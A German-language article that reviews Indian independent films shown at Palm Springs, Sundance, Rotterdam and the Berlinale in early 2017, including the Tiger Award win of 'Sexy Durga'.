Im ersten Monat des Jahres 2017 hat die indische Independentfilmindustrie, d.h. die kleineren, realistischeren Filme von neuen oder bekannten Regisseure, durch eine Reihe großer Filme auf dem internationalen Markt aufhorchen lassen. Einige Filme haben unerwartete Wellen geschlagen und sogar Rekorde auf den vier führenden internationalen Filmfestivals gebrochen und die große Konkurrenz dabei ausgestochen.

 

„A Billion Colour Story“ & „Poorna“

Das Jahr begann mit dem Palm Springs International Film Festival (05.01.-16.01.) mit seinen 130 Filmen, bei dem fast alle Oscar-Nominierten Filme gezeigt werden. Die letztendlich dreißig Filme umfassende Programmliste enthielt zwei indische Filme, beide Erstlingswerke. Einer davon ist N Padmakumars „A Billion Colour Story“, über den elf Jahre alten Sohn von Eltern, deren Glaube an ein offenes und integratives India zerstört wird, nachdem sie erstmals mit religiösem Fundamentalismus konfrontiert werden. Der zweite Film ist Rahul Boses lobenswerter Film „Poorna“, ein biographisches Werk über Malavath Poorna aus dem Stamm Telangana, die als jüngste Frau aller Zeiten den Mount Everest bezwungen hat.

 

„Machines“

Auf dem berauschenden und begeisternden Sundance Film Festival (19.01.-29.01.), ein Mekka für junge unternehmerische Filmtalente aus der ganzen Welt, hat die Debüt-Dokumentation „Machines“ des indischen Filmemachers Rahul Jain, den Preis für die beste Kameraführung (für Rodrigo Trejo Villanueva) erhalten. Der Film ist ein intimes, beobachtendes Porträt des Arbeits- und Lebensrhythmusses in einer gigantischen Textilfabrik in Gujarat, das den Zuschauer die unmenschliche Arbeit und den großen Riss zwischen der „First World“ und den Entwicklungsländern vor Augen führt. Zuvor war der Film bereits im Rennen beim hochangesehenen „Amsterdam Documentary Film Festival“.

 

„Sexy Durga“

Die größte Überraschung bot das International Film Festival Rotterdam (25.01.-05.02.): Sanal Kumar Sasidharans „Sexy Durga“ schlug bereits Wellen, als der Film im Viewing-Room des NFDC Film Bazaars 2016 ausgewählten Filmprofis aus der ganzen Welt gezeigt wurde. Infolge dessen empfahl der Programmberater für indische Filme Rada Sesic diesen Film der Rotterdamer Auswahljury in letzter Minuten. „Sexy Durga“ wurde sofort ausgewählt und das, zu jedermanns Verwunderung und Freude, im höchsten Rang: dem Wettbewerb. Eine wahre Revolution für einen kleinen Film eines wortkargen Filmemachers, dessen frühere Filme nahezu komplett ignoriert wurden, obwohl beide das Zeug dazu hatten, eine eigene Nische zu schaffen. „Sexy Durga“ nimmt den Zuschauer mit in Dorf in Kerala, wo die Göttin Durga mit einer feierlichen Parade verehrt wird, die sich durch die engen Straßen des Dorfes zieht. In einer dunklen Gasse beschließt ein nervöses Ausreißerpärchen, Durga und Kabir, eine Fahrt zum Bahnhof, was sich später als Albtraum für beide herausstellt. Der Film stellt die Frage, welchen Platz Anbetungen und Frauen heutzutage in der indischen Gesellschaft inne haben.

„Sexy Durga“ gewann schließlich den Award! Es heimste den hochdotierten Hivos Tiger Award mit seinen stattlichen 40.000€ Preisgeld ein. Nach wie vielen Jahren? Im Jahr 1999 gewann Murali Nairs „Marana Simhasanam“ den bisher letzten Preis bei einem führenden Filmfestival – die Camera d’Or in Cannes für den „Besten Debütfilm“.

 

„Newton“ & „Loktak Lairambee“

Im Anschluss daran wurden die indischen Filme auf der Berlinale (09.02.-19.02.) bekanntgegeben. Ein kleiner Wermutstropfen hier war, dass kein indischer film für die beiden Hauptkategorien „Wettbewerb“ und „Panorama“ ausgewählt wurde. Die Stimmung stieg jedoch, als zwei indische Independentfilme auf dem Internationalen Berlinale-Forum gezeigt wurden, beide erneut Erstlingswerke: Amit V Masurkars „Newton“, eine harte politische Satire über einen neuen, unerfahrenen Regierungsbeamten, der die allerersten Wahlen in den vom Maoismus befallenen Dschungelgebieten in Zentralindien leiten soll und Haobam Paban Kumars „Loktak Lairembee“, der am entlegenen Loktak Lake in Manipur spielt und sich um die Umsiedlung Jahrhunderte alter Stämme dreht, die die indische Regierung im Jahr 2011 veranlasste.

 

Ein Wendepunkt für das indische Independent-Kino!?

Jahrzehnt für Jahrzehnt wurde kein indischer Film in den Wettbewerb für die drei führenden Filmfestival dieser Welt – Cannes, Berlin, Venedig – ausgewählt. In den letzten Jahren wurde wieder zunehmend gejubelt, wenn ein indischer Film Bestandteil eines internationalen Festivals war. In Indien gibt es die allgemeine Annahme, dass die heimische Independentfilmindustrie eine selbstgenügsame Einheit bildet, in der Festivals keine große Rolle spielen. Aber die Blase ist nach dem globalen Erfolg von Ritesh Batras „Lunchbox“ zerplatzt. Es bleibt zu hoffen, dass Indiens Independentfilm mit seinen Inhalten, seiner Darstellung und Geschichten von umfassender Bedeutung weiterhin an Boden gut macht.

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